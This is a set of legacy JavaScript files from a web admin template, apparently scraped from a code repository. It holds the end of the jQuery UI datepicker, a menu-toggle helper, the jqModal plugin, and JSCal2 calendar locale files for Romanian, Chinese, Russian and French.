var minDate = this._getMinMaxDate(inst, 'min');
var maxDate = this._getMinMaxDate(inst, 'max');
var drawMonth = inst.drawMonth - showCurrentAtPos;
var drawYear = inst.drawYear;
if (drawMonth < 0) {
drawMonth += 12;
drawYear--;
}
if (maxDate) {
var maxDraw = this._daylightSavingAdjust(new Date(maxDate.getFullYear(),
maxDate.getMonth() - (numMonths[0] * numMonths[1]) + 1, maxDate.getDate()));
maxDraw = (minDate && maxDraw < minDate ? minDate : maxDraw);
while (this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1)) > maxDraw) {
drawMonth--;
if (drawMonth < 0) {
drawMonth = 11;
drawYear--;
}
}
}
inst.drawMonth = drawMonth;
inst.drawYear = drawYear;
var prevText = this._get(inst, 'prevText');
prevText = (!navigationAsDateFormat ? prevText : this.formatDate(prevText,
this._daylightSavingAdjust(new Date(drawYear, drawMonth - stepMonths, 1)),
this._getFormatConfig(inst)));
var prev = (this._canAdjustMonth(inst, -1, drawYear, drawMonth) ?
'<a class="ui-datepicker-prev ui-corner-all" onclick="DP_jQuery_' + dpuuid +
'.datepicker._adjustDate(\'#' + inst.id + '\', -' + stepMonths + ', \'M\');"' +
' title="' + prevText + '"><span class="ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'e' : 'w') + '"></span></a>' :
(hideIfNoPrevNext ? '' : '<a class="ui-datepicker-prev ui-corner-all ui-state-disabled" title="'+ prevText +'"><span class="ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'e' : 'w') + '">' + prevText + '</span></a>'));
var nextText = this._get(inst, 'nextText');
nextText = (!navigationAsDateFormat ? nextText : this.formatDate(nextText,
this._daylightSavingAdjust(new Date(drawYear, drawMonth + stepMonths, 1)),
this._getFormatConfig(inst)));
var next = (this._canAdjustMonth(inst, +1, drawYear, drawMonth) ?
'<a class="ui-datepicker-next ui-corner-all" onclick="DP_jQuery_' + dpuuid +
'.datepicker._adjustDate(\'#' + inst.id + '\', +' + stepMonths + ', \'M\');"' +
' title="' + nextText + '"><span class="ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'w' : 'e') + '"></span></a>' :
(hideIfNoPrevNext ? '' : '<a class="ui-datepicker-next ui-corner-all ui-state-disabled" title="'+ nextText + '"><span class="ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'w' : 'e') + '">' + nextText + '</span></a>'));
var currentText = this._get(inst, 'currentText');
var gotoDate = (this._get(inst, 'gotoCurrent') && inst.currentDay ? currentDate : today);
currentText = (!navigationAsDateFormat ? currentText :
this.formatDate(currentText, gotoDate, this._getFormatConfig(inst)));
var controls = (!inst.inline ? '<button type="button" class="ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all" onclick="DP_jQuery_' + dpuuid +
'.datepicker._hideDatepicker();">' + this._get(inst, 'closeText') + '</button>' : '');
var buttonPanel = (showButtonPanel) ? '<div class="ui-datepicker-buttonpane ui-widget-content">' + (isRTL ? controls : '') +
(this._isInRange(inst, gotoDate) ? '<button type="button" class="ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all" onclick="DP_jQuery_' + dpuuid +
'.datepicker._gotoToday(\'#' + inst.id + '\');"' +
'>' + currentText + '</button>' : '') + (isRTL ? '' : controls) + '</div>' : '';
var firstDay = parseInt(this._get(inst, 'firstDay'),10);
firstDay = (isNaN(firstDay) ? 0 : firstDay);
var showWeek = this._get(inst, 'showWeek');
var dayNames = this._get(inst, 'dayNames');
var dayNamesShort = this._get(inst, 'dayNamesShort');
var dayNamesMin = this._get(inst, 'dayNamesMin');
var monthNames = this._get(inst, 'monthNames');
var monthNamesShort = this._get(inst, 'monthNamesShort');
var beforeShowDay = this._get(inst, 'beforeShowDay');
var showOtherMonths = this._get(inst, 'showOtherMonths');
var selectOtherMonths = this._get(inst, 'selectOtherMonths');
var calculateWeek = this._get(inst, 'calculateWeek') || this.iso8601Week;
var defaultDate = this._getDefaultDate(inst);
var html = '';
for (var row = 0; row < numMonths[0]; row++) {
var group = '';
for (var col = 0; col < numMonths[1]; col++) {
var selectedDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, inst.selectedDay));
var cornerClass = ' ui-corner-all';
var calender = '';
if (isMultiMonth) {
calender += '<div class="ui-datepicker-group';
if (numMonths[1] > 1)
switch (col) {
case 0: calender += ' ui-datepicker-group-first';
cornerClass = ' ui-corner-' + (isRTL ? 'right' : 'left'); break;
case numMonths[1]-1: calender += ' ui-datepicker-group-last';
cornerClass = ' ui-corner-' + (isRTL ? 'left' : 'right'); break;
default: calender += ' ui-datepicker-group-middle'; cornerClass = ''; break;
}
calender += '">';
}
calender += '<div class="ui-datepicker-header ui-widget-header ui-helper-clearfix' + cornerClass + '">' +
(/all|left/.test(cornerClass) && row == 0 ? (isRTL ? next : prev) : '') +
(/all|right/.test(cornerClass) && row == 0 ? (isRTL ? prev : next) : '') +
this._generateMonthYearHeader(inst, drawMonth, drawYear, minDate, maxDate,
row > 0 || col > 0, monthNames, monthNamesShort) + // draw month headers
'</div><table class="ui-datepicker-calendar"><thead>' +
'<tr>';
var thead = (showWeek ? '<th class="ui-datepicker-week-col">' + this._get(inst, 'weekHeader') + '</th>' : '');
for (var dow = 0; dow < 7; dow++) { // days of the week
var day = (dow + firstDay) % 7;
thead += '<th' + ((dow + firstDay + 6) % 7 >= 5 ? ' class="ui-datepicker-week-end"' : '') + '>' +
'<span title="' + dayNames[day] + '">' + dayNamesMin[day] + '</span></th>';
}
calender += thead + '</tr></thead><tbody>';
var daysInMonth = this._getDaysInMonth(drawYear, drawMonth);
if (drawYear == inst.selectedYear && drawMonth == inst.selectedMonth)
inst.selectedDay = Math.min(inst.selectedDay, daysInMonth);
var leadDays = (this._getFirstDayOfMonth(drawYear, drawMonth) - firstDay + 7) % 7;
var numRows = (isMultiMonth ? 6 : Math.ceil((leadDays + daysInMonth) / 7)); // calculate the number of rows to generate
var printDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1 - leadDays));
for (var dRow = 0; dRow < numRows; dRow++) { // create date picker rows
calender += '<tr>';
var tbody = (!showWeek ? '' : '<td class="ui-datepicker-week-col">' +
this._get(inst, 'calculateWeek')(printDate) + '</td>');
for (var dow = 0; dow < 7; dow++) { // create date picker days
var daySettings = (beforeShowDay ?
beforeShowDay.apply((inst.input ? inst.input[0] : null), [printDate]) : [true, '']);
var otherMonth = (printDate.getMonth() != drawMonth);
var unselectable = (otherMonth && !selectOtherMonths) || !daySettings[0] ||
(minDate && printDate < minDate) || (maxDate && printDate > maxDate);
tbody += '<td class="' +
((dow + firstDay + 6) % 7 >= 5 ? ' ui-datepicker-week-end' : '') + // highlight weekends
(otherMonth ? ' ui-datepicker-other-month' : '') + // highlight days from other months
((printDate.getTime() == selectedDate.getTime() && drawMonth == inst.selectedMonth && inst._keyEvent) || // user pressed key
(defaultDate.getTime() == printDate.getTime() && defaultDate.getTime() == selectedDate.getTime()) ?
// or defaultDate is current printedDate and defaultDate is selectedDate
' ' + this._dayOverClass : '') + // highlight selected day
(unselectable ? ' ' + this._unselectableClass + ' ui-state-disabled': '') + // highlight unselectable days
(otherMonth && !showOtherMonths ? '' : ' ' + daySettings[1] + // highlight custom dates
(printDate.getTime() == currentDate.getTime() ? ' ' + this._currentClass : '') + // highlight selected day
(printDate.getTime() == today.getTime() ? ' ui-datepicker-today' : '')) + '"' + // highlight today (if different)
((!otherMonth || showOtherMonths) && daySettings[2] ? ' title="' + daySettings[2] + '"' : '') + // cell title
(unselectable ? '' : ' onclick="DP_jQuery_' + dpuuid + '.datepicker._selectDay(\'#' +
inst.id + '\',' + printDate.getMonth() + ',' + printDate.getFullYear() + ', this);return false;"') + '>' + // actions
(otherMonth && !showOtherMonths ? ' ' : // display for other months
(unselectable ? '<span class="ui-state-default">' + printDate.getDate() + '</span>' : '<a class="ui-state-default' +
(printDate.getTime() == today.getTime() ? ' ui-state-highlight' : '') +
(printDate.getTime() == selectedDate.getTime() ? ' ui-state-active' : '') + // highlight selected day
(otherMonth ? ' ui-priority-secondary' : '') + // distinguish dates from other months
'" href="#">' + printDate.getDate() + '</a>')) + '</td>'; // display selectable date
printDate.setDate(printDate.getDate() + 1);
printDate = this._daylightSavingAdjust(printDate);
}
calender += tbody + '</tr>';
}
drawMonth++;
if (drawMonth > 11) {
drawMonth = 0;
drawYear++;
}
calender += '</tbody></table>' + (isMultiMonth ? '</div>' +
((numMonths[0] > 0 && col == numMonths[1]-1) ? '<div class="ui-datepicker-row-break"></div>' : '') : '');
group += calender;
}
html += group;
}
html += buttonPanel + ($.browser.msie && parseInt($.browser.version,10) < 7 && !inst.inline ?
'<iframe src="javascript:false;" class="ui-datepicker-cover" frameborder="0"></iframe>' : '');
inst._keyEvent = false;
return html;
},
/* Generate the month and year header. */
_generateMonthYearHeader: function(inst, drawMonth, drawYear, minDate, maxDate,
secondary, monthNames, monthNamesShort) {
var changeMonth = this._get(inst, 'changeMonth');
var changeYear = this._get(inst, 'changeYear');
var showMonthAfterYear = this._get(inst, 'showMonthAfterYear');
var html = '<div class="ui-datepicker-title">';
var monthHtml = '';
// month selection
if (secondary || !changeMonth)
monthHtml += '<span class="ui-datepicker-month">' + monthNames[drawMonth] + '</span>';
else {
var inMinYear = (minDate && minDate.getFullYear() == drawYear);
var inMaxYear = (maxDate && maxDate.getFullYear() == drawYear);
monthHtml += '<select class="ui-datepicker-month" ' +
'onchange="DP_jQuery_' + dpuuid + '.datepicker._selectMonthYear(\'#' + inst.id + '\', this, \'M\');" ' +
'onclick="DP_jQuery_' + dpuuid + '.datepicker._clickMonthYear(\'#' + inst.id + '\');"' +
'>';
for (var month = 0; month < 12; month++) {
if ((!inMinYear || month >= minDate.getMonth()) &&
(!inMaxYear || month <= maxDate.getMonth()))
monthHtml += '<option value="' + month + '"' +
(month == drawMonth ? ' selected="selected"' : '') +
'>' + monthNamesShort[month] + '</option>';
}
monthHtml += '</select>';
}
if (!showMonthAfterYear)
html += monthHtml + (secondary || !(changeMonth && changeYear) ? ' ' : '');
// year selection
if (secondary || !changeYear)
html += '<span class="ui-datepicker-year">' + drawYear + '</span>';
else {
// determine range of years to display
var years = this._get(inst, 'yearRange').split(':');
var thisYear = new Date().getFullYear();
var determineYear = function(value) {
var year = (value.match(/c[+-].*/) ? drawYear + parseInt(value.substring(1), 10) :
(value.match(/[+-].*/) ? thisYear + parseInt(value, 10) :
parseInt(value, 10)));
return (isNaN(year) ? thisYear : year);
};
var year = determineYear(years[0]);
var endYear = Math.max(year, determineYear(years[1] || ''));
year = (minDate ? Math.max(year, minDate.getFullYear()) : year);
endYear = (maxDate ? Math.min(endYear, maxDate.getFullYear()) : endYear);
html += '<select class="ui-datepicker-year" ' +
'onchange="DP_jQuery_' + dpuuid + '.datepicker._selectMonthYear(\'#' + inst.id + '\', this, \'Y\');" ' +
'onclick="DP_jQuery_' + dpuuid + '.datepicker._clickMonthYear(\'#' + inst.id + '\');"' +
'>';
for (; year <= endYear; year++) {
html += '<option value="' + year + '"' +
(year == drawYear ? ' selected="selected"' : '') +
'>' + year + '</option>';
}
html += '</select>';
}
html += this._get(inst, 'yearSuffix');
if (showMonthAfterYear)
html += (secondary || !(changeMonth && changeYear) ? ' ' : '') + monthHtml;
html += '</div>'; // Close datepicker_header
return html;
},
/* Adjust one of the date sub-fields. */
_adjustInstDate: function(inst, offset, period) {
var year = inst.drawYear + (period == 'Y' ? offset : 0);
var month = inst.drawMonth + (period == 'M' ? offset : 0);
var day = Math.min(inst.selectedDay, this._getDaysInMonth(year, month)) +
(period == 'D' ? offset : 0);
var date = this._restrictMinMax(inst,
this._daylightSavingAdjust(new Date(year, month, day)));
inst.selectedDay = date.getDate();
inst.drawMonth = inst.selectedMonth = date.getMonth();
inst.drawYear = inst.selectedYear = date.getFullYear();
if (period == 'M' || period == 'Y')
this._notifyChange(inst);
},
/* Ensure a date is within any min/max bounds. */
_restrictMinMax: function(inst, date) {
var minDate = this._getMinMaxDate(inst, 'min');
var maxDate = this._getMinMaxDate(inst, 'max');
date = (minDate && date < minDate ? minDate : date);
date = (maxDate && date > maxDate ? maxDate : date);
return date;
},
/* Notify change of month/year. */
_notifyChange: function(inst) {
var onChange = this._get(inst, 'onChangeMonthYear');
if (onChange)
onChange.apply((inst.input ? inst.input[0] : null),
[inst.selectedYear, inst.selectedMonth + 1, inst]);
},
/* Determine the number of months to show. */
_getNumberOfMonths: function(inst) {
var numMonths = this._get(inst, 'numberOfMonths');
return (numMonths == null ? [1, 1] : (typeof numMonths == 'number' ? [1, numMonths] : numMonths));
},
/* Determine the current maximum date - ensure no time components are set. */
_getMinMaxDate: function(inst, minMax) {
return this._determineDate(inst, this._get(inst, minMax + 'Date'), null);
},
/* Find the number of days in a given month. */
_getDaysInMonth: function(year, month) {
return 32 - new Date(year, month, 32).getDate();
},
/* Find the day of the week of the first of a month. */
_getFirstDayOfMonth: function(year, month) {
return new Date(year, month, 1).getDay();
},
/* Determines if we should allow a "next/prev" month display change. */
_canAdjustMonth: function(inst, offset, curYear, curMonth) {
var numMonths = this._getNumberOfMonths(inst);
var date = this._daylightSavingAdjust(new Date(curYear,
curMonth + (offset < 0 ? offset : numMonths[0] * numMonths[1]), 1));
if (offset < 0)
date.setDate(this._getDaysInMonth(date.getFullYear(), date.getMonth()));
return this._isInRange(inst, date);
},
/* Is the given date in the accepted range? */
_isInRange: function(inst, date) {
var minDate = this._getMinMaxDate(inst, 'min');
var maxDate = this._getMinMaxDate(inst, 'max');
return ((!minDate || date.getTime() >= minDate.getTime()) &&
(!maxDate || date.getTime() <= maxDate.getTime()));
},
/* Provide the configuration settings for formatting/parsing. */
_getFormatConfig: function(inst) {
var shortYearCutoff = this._get(inst, 'shortYearCutoff');
shortYearCutoff = (typeof shortYearCutoff != 'string' ? shortYearCutoff :
new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
return {shortYearCutoff: shortYearCutoff,
dayNamesShort: this._get(inst, 'dayNamesShort'), dayNames: this._get(inst, 'dayNames'),
monthNamesShort: this._get(inst, 'monthNamesShort'), monthNames: this._get(inst, 'monthNames')};
},
/* Format the given date for display. */
_formatDate: function(inst, day, month, year) {
if (!day) {
inst.currentDay = inst.selectedDay;
inst.currentMonth = inst.selectedMonth;
inst.currentYear = inst.selectedYear;
}
var date = (day ? (typeof day == 'object' ? day :
this._daylightSavingAdjust(new Date(year, month, day))) :
this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
return this.formatDate(this._get(inst, 'dateFormat'), date, this._getFormatConfig(inst));
}
});
/* jQuery extend now ignores nulls! */
function extendRemove(target, props) {
$.extend(target, props);
for (var name in props)
if (props[name] == null || props[name] == undefined)
target[name] = props[name];
return target;
};
/* Determine whether an object is an array. */
function isArray(a) {
return (a && (($.browser.safari && typeof a == 'object' && a.length) ||
(a.constructor && a.constructor.toString().match(/\Array\(\)/))));
};
/* Invoke the datepicker functionality.
@param options string - a command, optionally followed by additional parameters or
Object - settings for attaching new datepicker functionality
@return jQuery object */
$.fn.datepicker = function(options){
/* Initialise the date picker. */
if (!$.datepicker.initialized) {
$(document).mousedown($.datepicker._checkExternalClick).
find('body').append($.datepicker.dpDiv);
$.datepicker.initialized = true;
}
var otherArgs = Array.prototype.slice.call(arguments, 1);
if (typeof options == 'string' && (options == 'isDisabled' || options == 'getDate' || options == 'widget'))
return $.datepicker['_' + options + 'Datepicker'].
apply($.datepicker, [this[0]].concat(otherArgs));
if (options == 'option' && arguments.length == 2 && typeof arguments[1] == 'string')
return $.datepicker['_' + options + 'Datepicker'].
apply($.datepicker, [this[0]].concat(otherArgs));
return this.each(function() {
typeof options == 'string' ?
$.datepicker['_' + options + 'Datepicker'].
apply($.datepicker, [this].concat(otherArgs)) :
$.datepicker._attachDatepicker(this, options);
});
};
$.datepicker = new Datepicker(); // singleton instance
$.datepicker.initialized = false;
$.datepicker.uuid = new Date().getTime();
$.datepicker.version = "1.8.5";
// Workaround for #4055
// Add another global to avoid noConflict issues with inline event handlers
window['DP_jQuery_' + dpuuid] = $;
})(jQuery);
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/datepicker.js | JavaScript | asf20 | 72,382 |
// Ẩn. Hiển thị Menu trái
function clickHide(type){
if (type == 1){
$('td.colum_left_lage').css('display','none');
$('td.colum_left_small').css('display','table-cell');
//nv_setCookie( 'colum_left_lage', '0', 86400000);
}
else {
if (type == 2){
$('td.colum_left_small').css('display','none');
$('td.colum_left_lage').css('display','table-cell');
//nv_setCookie( 'colum_left_lage', '1', 86400000);
}
}
}
// show or hide menu
function show_menu(){
var showmenu = ( nv_getCookie( 'colum_left_lage' ) ) ? ( nv_getCookie('colum_left_lage')) : '1';
if (showmenu == '1') {
$('td.colum_left_small').hide();
$('td.colum_left_lage').show();
}else {
$('td.colum_left_small').show();
$('td.colum_left_lage').hide();
}
}
// Submit button form
$(document).ready(function() {
$('#bt_del').bind('click', function()
{
$('#adminform').submit();
});
}); | 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/function.admin.js | JavaScript | asf20 | 1,040 |
/*
* jqModal - Minimalist Modaling with jQuery
* (http://dev.iceburg.net/jquery/jqModal/)
*
* Copyright (c) 2007,2008 Brice Burgess <bhb@iceburg.net>
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
* $Version: 03/01/2009 +r14
*/
(function($) {
$.fn.jqm=function(o){
var p={
overlay: 50,
overlayClass: 'jqmOverlay',
closeClass: 'jqmClose',
trigger: '.jqModal',
ajax: F,
ajaxText: '',
target: F,
modal: F,
toTop: F,
onShow: F,
onHide: F,
onLoad: F
};
return this.each(function(){if(this._jqm)return H[this._jqm].c=$.extend({},H[this._jqm].c,o);s++;this._jqm=s;
H[s]={c:$.extend(p,$.jqm.params,o),a:F,w:$(this).addClass('jqmID'+s),s:s};
if(p.trigger)$(this).jqmAddTrigger(p.trigger);
});};
$.fn.jqmAddClose=function(e){return hs(this,e,'jqmHide');};
$.fn.jqmAddTrigger=function(e){return hs(this,e,'jqmShow');};
$.fn.jqmShow=function(t){return this.each(function(){t=t||window.event;$.jqm.open(this._jqm,t);});};
$.fn.jqmHide=function(t){return this.each(function(){t=t||window.event;$.jqm.close(this._jqm,t)});};
$.jqm = {
hash:{},
open:function(s,t){var h=H[s],c=h.c,cc='.'+c.closeClass,z=(parseInt(h.w.css('z-index'))),z=(z>0)?z:3000,o=$('<div></div>').css({height:'100%',width:'100%',position:'fixed',left:0,top:0,'z-index':z-1,opacity:c.overlay/100});if(h.a)return F;h.t=t;h.a=true;h.w.css('z-index',z);
if(c.modal) {if(!A[0])L('bind');A.push(s);}
else if(c.overlay > 0)h.w.jqmAddClose(o);
else o=F;
h.o=(o)?o.addClass(c.overlayClass).prependTo('body'):F;
if(ie6){$('html,body').css({height:'100%',width:'100%'});if(o){o=o.css({position:'absolute'})[0];for(var y in {Top:1,Left:1})o.style.setExpression(y.toLowerCase(),"(_=(document.documentElement.scroll"+y+" || document.body.scroll"+y+"))+'px'");}}
if(c.ajax) {var r=c.target||h.w,u=c.ajax,r=(typeof r == 'string')?$(r,h.w):$(r),u=(u.substr(0,1) == '@')?$(t).attr(u.substring(1)):u;
r.html(c.ajaxText).load(u,function(){if(c.onLoad)c.onLoad.call(this,h);if(cc)h.w.jqmAddClose($(cc,h.w));e(h);});}
else if(cc)h.w.jqmAddClose($(cc,h.w));
if(c.toTop&&h.o)h.w.before('<span id="jqmP'+h.w[0]._jqm+'"></span>').insertAfter(h.o);
(c.onShow)?c.onShow(h):h.w.show();e(h);return F;
},
close:function(s){var h=H[s];if(!h.a)return F;h.a=F;
if(A[0]){A.pop();if(!A[0])L('unbind');}
if(h.c.toTop&&h.o)$('#jqmP'+h.w[0]._jqm).after(h.w).remove();
if(h.c.onHide)h.c.onHide(h);else{h.w.hide();if(h.o)h.o.remove();} return F;
},
params:{}};
var s=0,H=$.jqm.hash,A=[],ie6=$.browser.msie&&($.browser.version == "6.0"),F=false,
i=$('<iframe src="javascript:false;document.write(\'\');" class="jqm"></iframe>').css({opacity:0}),
e=function(h){if(ie6)if(h.o)h.o.html('<p style="width:100%;height:100%"/>').prepend(i);else if(!$('iframe.jqm',h.w)[0])h.w.prepend(i); f(h);},
f=function(h){try{$(':input:visible',h.w)[0].focus();}catch(_){}},
L=function(t){$()[t]("keypress",m)[t]("keydown",m)[t]("mousedown",m);},
m=function(e){var h=H[A[A.length-1]],r=(!$(e.target).parents('.jqmID'+h.s)[0]);if(r)f(h);return !r;},
hs=function(w,t,c){return w.each(function(){var s=this._jqm;$(t).each(function() {
if(!this[c]){this[c]=[];$(this).click(function(){for(var i in {jqmShow:1,jqmHide:1})for(var s in this[i])if(H[this[i][s]])H[this[i][s]].w[i](this);return F;});}this[c].push(s);});});};
})(jQuery); | 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/jqModal.js | JavaScript | asf20 | 3,355 |
Calendar.LANG("ro", "Română", {
fdow: 1, // first day of week for this locale; 0 = Sunday, 1 = Monday, etc.
goToday: "Astăzi",
today: "Astăzi", // appears in bottom bar
wk: "săp.",
weekend: "0,6", // 0 = Sunday, 1 = Monday, etc.
AM: "am",
PM: "pm",
mn : [ "Ianuarie",
"Februarie",
"Martie",
"Aprilie",
"Mai",
"Iunie",
"Iulie",
"August",
"Septembrie",
"Octombrie",
"Noiembrie",
"Decembrie" ],
smn : [ "Ian",
"Feb",
"Mar",
"Apr",
"Mai",
"Iun",
"Iul",
"Aug",
"Sep",
"Oct",
"Noi",
"Dec" ],
dn : [ "Duminică",
"Luni",
"Marţi",
"Miercuri",
"Joi",
"Vineri",
"Sâmbătă",
"Duminică" ],
sdn : [ "Du",
"Lu",
"Ma",
"Mi",
"Jo",
"Vi",
"Sâ",
"Du" ]
});
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/JSCal2-1.7/src/js/lang/ro.js | JavaScript | asf20 | 1,338 |
Calendar.LANG("cn", "中文", {
fdow: 1, // first day of week for this locale; 0 = Sunday, 1 = Monday, etc.
goToday: "今天",
today: "今天", // appears in bottom bar
wk: "周",
weekend: "0,6", // 0 = Sunday, 1 = Monday, etc.
AM: "AM",
PM: "PM",
mn : [ "一月",
"二月",
"三月",
"四月",
"五月",
"六月",
"七月",
"八月",
"九月",
"十月",
"十一月",
"十二月"],
smn : [ "一月",
"二月",
"三月",
"四月",
"五月",
"六月",
"七月",
"八月",
"九月",
"十月",
"十一月",
"十二月"],
dn : [ "日",
"一",
"二",
"三",
"四",
"五",
"六",
"日" ],
sdn : [ "日",
"一",
"二",
"三",
"四",
"五",
"六",
"日" ]
});
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/JSCal2-1.7/src/js/lang/cn.js | JavaScript | asf20 | 1,316 |
Calendar.LANG("ru", "русский", {
fdow: 1, // first day of week for this locale; 0 = Sunday, 1 = Monday, etc.
goToday: "Сегодня",
today: "Сегодня", // appears in bottom bar
wk: "нед",
weekend: "0,6", // 0 = Sunday, 1 = Monday, etc.
AM: "am",
PM: "pm",
mn : [ "январь",
"февраль",
"март",
"апрель",
"май",
"июнь",
"июль",
"август",
"сентябрь",
"октябрь",
"ноябрь",
"декабрь" ],
smn : [ "янв",
"фев",
"мар",
"апр",
"май",
"июн",
"июл",
"авг",
"сен",
"окт",
"ноя",
"дек" ],
dn : [ "воскресенье",
"понедельник",
"вторник",
"среда",
"четверг",
"пятница",
"суббота",
"воскресенье" ],
sdn : [ "вск",
"пон",
"втр",
"срд",
"чет",
"пят",
"суб",
"вск" ]
});
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/JSCal2-1.7/src/js/lang/ru.js | JavaScript | asf20 | 1,553 |
Calendar.LANG("fr", "Français", {
fdow: 1, // first day of week for this locale; 0 = Sunday, 1 = Monday, etc.
goToday : "Aujourd'hui",
today: "Aujourd'hui", // appears in bottom bar
wk: "sm.",
weekend: "0,6", // 0 = Sunday, 1 = Monday, etc.
AM: "am",
PM: "pm",
mn : [ "Janvier",
"Février",
"Mars",
"Avril",
"Mai",
"Juin",
"Juillet",
"Août",
"Septembre",
"Octobre",
"Novembre",
"Décembre" ],
smn : [ "Jan",
"Fév",
"Mar",
"Avr",
"Mai",
"Juin",
"Juil",
"Aou",
"Sep",
"Oct",
"Nov",
"Déc" ],
dn : [ "Dimanche",
"Lundi",
"Mardi",
"Mercredi",
"Jeudi",
"Vendredi",
"Samedi",
"Dimanche" ],
sdn : [ "Di",
"Lu",
"Ma",
"Me",
"Je",
"Ve",
"Sa",
"Di" ]
});
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/JSCal2-1.7/src/js/lang/fr.js | JavaScript | asf20 | 1,337 |